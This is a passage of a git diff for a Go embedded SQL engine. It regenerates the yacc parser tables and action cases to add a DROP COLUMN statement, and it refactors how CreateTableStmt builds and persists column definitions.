6, 16, 11, 382, 8, + 20, 381, 379, 2, 373, 372, 10, 265, 19, 365, + 364, 156, 362, 12, 361, 360, 0, 15, 357, 356, + 355, 354, 3, 5, 347, 13, 337, 336, 1, 4, + 245, 333, 332, 324, 17, 322, 317, 310, } var yyR1 = [...]int8{ 0, 1, 2, 2, 57, 57, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 4, 50, 50, 11, 11, 5, 5, - 5, 5, 56, 56, 55, 55, 54, 12, 12, 14, - 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, - 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, - 19, 8, 8, 9, 44, 44, 51, 51, 52, 52, - 52, 6, 6, 7, 25, 25, 24, 24, 21, 21, - 22, 22, 20, 20, 20, 23, 23, 26, 26, 26, - 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, - 32, 32, 33, 33, 34, 35, 35, 37, 37, 41, - 41, 38, 38, 42, 42, 43, 43, 47, 47, 49, - 49, 46, 46, 48, 48, 48, 45, 45, 45, 36, - 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, - 39, 53, 53, 40, 40, 40, 40, 40, 40, 40, - 40, + 4, 4, 4, 4, 4, 50, 50, 11, 11, 5, + 5, 5, 5, 56, 56, 55, 55, 54, 12, 12, + 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, + 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, + 18, 19, 8, 8, 9, 44, 44, 51, 51, 52, + 52, 52, 6, 6, 7, 25, 25, 24, 24, 21, + 21, 22, 22, 20, 20, 20, 23, 23, 26, 26, + 26, 27, 28, 29, 29, 29, 30, 30, 30, 31, + 31, 32, 32, 33, 33, 34, 35, 35, 37, 37, + 41, 41, 38, 38, 42, 42, 43, 43, 47, 47, + 49, 49, 46, 46, 48, 48, 48, 45, 45, 45, + 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, + 39, 39, 53, 53, 40, 40, 40, 40, 40, 40, + 40, 40, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, - 9, 7, 6, 8, 0, 3, 1, 3, 9, 8, - 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, - 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, - 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, - 4, 1, 3, 5, 0, 3, 0, 1, 0, 1, - 2, 1, 4, 13, 0, 1, 0, 1, 1, 1, - 2, 4, 1, 4, 4, 1, 3, 3, 4, 2, - 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, - 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, - 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, - 4, 2, 4, 0, 1, 1, 0, 1, 2, 1, - 1, 2, 2, 4, 4, 6, 6, 1, 1, 3, - 3, 0, 1, 3, 3, 3, 3, 3, 3, 3, - 4, + 9, 7, 6, 8, 6, 0, 3, 1, 3, 9, + 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, + 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, + 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, + 1, 4, 1, 3, 5, 0, 3, 0, 1, 0, + 1, 2, 1, 4, 13, 0, 1, 0, 1, 1, + 1, 2, 4, 1, 4, 4, 1, 3, 3, 4, + 2, 1, 2, 0, 2, 2, 0, 2, 2, 2, + 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, + 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, + 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, + 1, 1, 2, 2, 4, 4, 6, 6, 1, 1, + 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, + 3, 4, } var yyChk = [...]int16{ @@ -390,61 +392,63 @@ var yyChk = [...]int16{ 72, 19, -50, -30, 12, 11, -31, 13, -36, -39, -40, 57, 84, 60, -20, -18, 89, 74, 75, 76, 77, 78, 65, -19, 67, 68, 64, 72, -31, 72, - 21, 22, 89, 89, -37, 46, -55, -54, 72, -6, - 43, 82, -45, 72, 54, 89, 81, 60, 89, 72, - 19, -31, -31, -36, 83, 84, 86, 85, 70, 71, - 62, -53, 66, 57, -36, -36, 89, -36, 89, 89, - 89, 24, 24, -12, -10, 72, -10, -49, 6, -36, - -37, 82, 71, -26, -27, 89, -19, 72, -20, 72, - 85, -23, 72, -8, -9, 72, 89, 72, -36, -36, - -36, -36, -36, -36, 64, 57, 58, 61, 73, -6, - 90, -36, -17, -16, -36, -10, -9, 72, 90, 82, - 90, -42, 49, 18, -49, -54, -36, -49, -28, -6, - -45, -45, 90, 90, 82, 73, -10, 89, 64, -36, - 89, 90, 54, 90, 82, 90, 23, 34, 72, 34, - -43, 50, -36, 19, -42, -32, -33, -34, -35, 69, - -45, 90, 25, -9, -44, 91, 90, -10, -6, -16, - 73, -36, 72, -14, -15, 89, -14, -36, -11, 72, - 89, -43, -37, -33, 44, -45, 26, -52, 64, 57, - 74, 90, 90, 90, 90, -56, 82, 19, -17, -10, - -41, 47, -26, -11, -51, 63, 64, 92, -15, 38, - 90, 90, -38, 45, 48, -49, 90, 39, -47, 51, - -36, -13, -23, 19, 40, -42, 48, 82, -36, -43, - -46, -23, -23, 82, -48, 52, 53, -23, -48, + 21, 22, 5, 89, 89, -37, 46, -55, -54, 72, + -6, 43, 82, -45, 72, 54, 89, 81, 60, 89, + 72, 19, -31, -31, -36, 83, 84, 86, 85, 70, + 71, 62, -53, 66, 57, -36, -36, 89, -36, 89, + 89, 89, 24, 24, 24, -12, -10, 72, -10, -49, + 6, -36, -37, 82, 71, -26, -27, 89, -19, 72, + -20, 72, 85, -23, 72, -8, -9, 72, 89, 72, + -36, -36, -36, -36, -36, -36, 64, 57, 58, 61, + 73, -6, 90, -36, -17, -16, -36, -10, -9, 72, + 72, 90, 82, 90, -42, 49, 18, -49, -54, -36, + -49, -28, -6, -45, -45, 90, 90, 82, 73, -10, + 89, 64, -36, 89, 90, 54, 90, 82, 90, 23, + 34, 72, 34, -43, 50, -36, 19, -42, -32, -33, + -34, -35, 69, -45, 90, 25, -9, -44, 91, 90, + -10, -6, -16, 73, -36, 72, -14, -15, 89, -14, + -36, -11, 72, 89, -43, -37, -33, 44, -45, 26, + -52, 64, 57, 74, 90, 90, 90, 90, -56, 82, + 19, -17, -10, -41, 47, -26, -11, -51, 63, 64, + 92, -15, 38, 90, 90, -38, 45, 48, -49, 90, + 39, -47, 51, -36, -13, -23, 19, 40, -42, 48, + 82, -36, -43, -46, -23, -23, 82, -48, 52, 53, + -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 71, 76, - 2, 5, 9, 24, 24, 24, 0, 14, 0, 92, - 0, 0, 0, 0, 0, 0, 0, 90, 74, 0, - 77, 3, 0, 0, 0, 0, 24, 15, 16, 95, - 0, 0, 18, 0, 0, 0, 0, 107, 0, 0, - 75, 0, 78, 79, 126, 82, 0, 85, 13, 0, - 0, 0, 0, 91, 0, 0, 93, 0, 99, -2, - 130, 0, 0, 0, 137, 138, 0, 50, 51, 52, - 53, 54, 0, 56, 57, 58, 59, 85, 94, 0, - 0, 0, 37, 0, 119, 0, 107, 34, 0, 72, - 0, 0, 80, 127, 0, 0, 0, 25, 0, 0, - 0, 96, 97, 98, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 142, 131, 132, 0, 0, 0, 46, - 0, 0, 0, 0, 38, 42, 0, 113, 0, 108, - 119, 0, 0, 119, 92, 0, 126, 90, 126, 128, - 0, 0, 86, 0, 61, 0, 0, 0, 143, 144, - 145, 146, 147, 148, 149, 0, 0, 0, 140, 0, - 139, 0, 0, 47, 48, 0, 22, 0, 0, 0, - 0, 115, 0, 0, 113, 35, 36, -2, 126, 0, - 89, 81, 83, 84, 0, 64, 0, 0, 150, 133, - 0, 134, 0, 60, 0, 21, 0, 0, 43, 0, - 30, 0, 114, 0, 115, 107, 101, -2, 0, 106, - 87, 126, 0, 62, 68, 0, 19, 0, 0, 0, - 0, 49, 23, 32, 39, 46, 29, 116, 120, 26, - 0, 31, 109, 103, 0, 88, 0, 66, 69, 0, - 0, 20, 135, 136, 55, 28, 0, 0, 0, 0, - 111, 0, 119, 0, 63, 67, 70, 65, 40, 0, - 41, 27, 117, 0, 0, 0, 17, 0, 113, 0, - 112, 110, 44, 0, 33, 115, 0, 0, 104, 73, - 118, 123, 45, 0, 121, 124, 125, 123, 122, + 0, 0, 0, 0, 0, 0, 0, 0, 72, 77, + 2, 5, 9, 25, 25, 25, 0, 14, 0, 93, + 0, 0, 0, 0, 0, 0, 0, 91, 75, 0, + 78, 3, 0, 0, 0, 0, 25, 15, 16, 96, + 0, 0, 18, 0, 0, 0, 0, 108, 0, 0, + 76, 0, 79, 80, 127, 83, 0, 86, 13, 0, + 0, 0, 0, 92, 0, 0, 94, 0, 100, -2, + 131, 0, 0, 0, 138, 139, 0, 51, 52, 53, + 54, 55, 0, 57, 58, 59, 60, 86, 95, 0, + 0, 0, 0, 38, 0, 120, 0, 108, 35, 0, + 73, 0, 0, 81, 128, 0, 0, 0, 26, 0, + 0, 0, 97, 98, 99, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 143, 132, 133, 0, 0, 0, + 47, 0, 0, 0, 0, 0, 39, 43, 0, 114, + 0, 109, 120, 0, 0, 120, 93, 0, 127, 91, + 127, 129, 0, 0, 87, 0, 62, 0, 0, 0, + 144, 145, 146, 147, 148, 149, 150, 0, 0, 0, + 141, 0, 140, 0, 0, 48, 49, 0, 22, 0, + 24, 0, 0, 0, 116, 0, 0, 114, 36, 37, + -2, 127, 0, 90, 82, 84, 85, 0, 65, 0, + 0, 151, 134, 0, 135, 0, 61, 0, 21, 0, + 0, 44, 0, 31, 0, 115, 0, 116, 108, 102, + -2, 0, 107, 88, 127, 0, 63, 69, 0, 19, + 0, 0, 0, 0, 50, 23, 33, 40, 47, 30, + 117, 121, 27, 0, 32, 110, 104, 0, 89, 0, + 67, 70, 0, 0, 20, 136, 137, 56, 29, 0, + 0, 0, 0, 112, 0, 120, 0, 64, 68, 71, + 66, 41, 0, 42, 28, 118, 0, 0, 0, 17, + 0, 114, 0, 113, 111, 45, 0, 34, 116, 0, + 0, 105, 74, 119, 124, 46, 0, 122, 125, 126, + 124, 123, } var yyTok1 = [...]int8{ @@ -907,246 +911,251 @@ yydefault: yyVAL.stmt = &RenameColumnStmt{table: yyDollar[3].id, oldName: yyDollar[6].id, newName: yyDollar[8].id} } case 24: + yyDollar = yyS[yypt-6 : yypt+1] + { + yyVAL.stmt = &DropColumnStmt{table: yyDollar[3].id, colName: yyDollar[6].id} + } + case 25: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 25: + case 26: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 26: + case 27: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 27: + case 28: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 28: + case 29: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 29: + case 30: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 30: + case 31: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 31: + case 32: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 32: + case 33: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 33: + case 34: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 34: + case 35: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 35: + case 36: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 36: + case 37: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 37: + case 38: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 38: + case 39: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 39: + case 40: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 40: + case 41: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 41: + case 42: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 42: + case 43: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 43: + case 44: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 44: + case 45: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 45: + case 46: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 46: + case 47: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 47: + case 48: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 48: + case 49: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 49: + case 50: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 50: + case 51: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 51: + case 52: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 52: + case 53: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 53: + case 54: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 54: + case 55: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 55: + case 56: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 56: + case 57: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 57: + case 58: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 58: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 59: + case 60: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 60: + case 61: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 61: + case 62: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 62: + case 63: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 63: + case 64: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 64: + case 65: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 65: + case 66: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 66: + case 67: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 67: + case 68: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 68: + case 69: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 69: + case 70: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 70: + case 71: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 71: + case 72: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 72: + case 73: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1155,7 +1164,7 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 73: + case 74: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1172,392 +1181,392 @@ yydefault: offset: yyDollar[13].exp, } } - case 74: + case 75: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 75: + case 76: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 76: + case 77: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 77: + case 78: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 78: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 79: + case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 80: + case 81: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 81: + case 82: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 82: + case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 83: + case 84: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 84: + case 85: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 85: + case 86: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 86: + case 87: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 87: + case 88: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 88: + case 89: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 89: + case 90: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 90: + case 91: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 91: + case 92: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 92: + case 93: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 93: + case 94: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 94: + case 95: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 95: + case 96: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 96: + case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 97: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 98: + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 99: + case 100: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 100: + case 101: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 101: + case 102: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 102: + case 103: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 103: + case 104: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 104: + case 105: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 105: + case 106: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 106: + case 107: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 107: + case 108: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 108: + case 109: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 109: + case 110: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 110: + case 111: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 111: + case 112: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 112: + case 113: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 113: + case 114: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 114: + case 115: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 115: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 116: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 117: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 118: + case 119: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 119: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 120: + case 121: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 121: + case 122: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 122: + case 123: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 123: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 124: + case 125: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 125: + case 126: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 126: + case 127: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 127: + case 128: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 128: + case 129: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 129: + case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 130: + case 131: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 131: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 132: + case 133: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 133: + case 134: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 134: + case 135: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 135: + case 136: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 136: + case 137: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 137: + case 138: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 138: + case 139: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 139: + case 140: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 140: + case 141: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 141: + case 142: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 142: + case 143: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 143: + case 144: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 144: + case 145: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 145: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 146: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 147: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 148: + case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 149: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 150: + case 151: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 27247e75a6..62a3359995 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -237,34 +237,6 @@ func (stmt *UseSnapshotStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, ErrNoSupported } -func persistColumn(col *Column, tx *SQLTx) error { - //{auto_incremental | nullable}{maxLen}{colNAME}) - v := make([]byte, 1+4+len(col.colName)) - - if col.autoIncrement { - v[0] = v[0] | autoIncrementFlag - } - - if col.notNull { - v[0] = v[0] | nullableFlag - } - - binary.BigEndian.PutUint32(v[1:], uint32(col.MaxLen())) - - copy(v[5:], []byte(col.Name())) - - mappedKey := MapKey( - tx.sqlPrefix(), - catalogColumnPrefix, - EncodeID(1), - EncodeID(col.table.id), - EncodeID(col.id), - []byte(col.colType), - ) - - return tx.set(mappedKey, nil, v) -} - type CreateTableStmt struct { table string ifNotExists bool @@ -285,7 +257,12 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return tx, nil } - table, err := tx.catalog.newTable(stmt.table, stmt.colsSpec) + colSpecs := make(map[uint32]*ColSpec, len(stmt.colsSpec)) + for i, cs := range stmt.colsSpec { + colSpecs[uint32(i)+1] = cs + } + + table, err := tx.catalog.newTable(stmt.table, colSpecs, uint32(len(colSpecs))) if err != nil { return nil, err } @@ -296,14 +273,14 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } - for _, col := range table.Cols() { + for _, col := range table.cols { if col.autoIncrement { if len(table.primaryIndex.cols) > 1 || col.id != table.primaryIndex.cols[0].id { return nil, ErrLimitedAutoIncrement } } - err := persistColumn(col, tx) + err := persistColumn(tx, col) if err != nil { return nil, err } @@ -321,6 +298,34 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return tx, nil } +func persistColumn(tx *SQLTx, col *Column) error { + //{auto_incremental | nullable}{maxLen}{colNAME}) + v := make([]byte, 1+4+len(col.colName)) + + if col.autoIncrement { + v[0] = v[0] | autoIncrementFlag 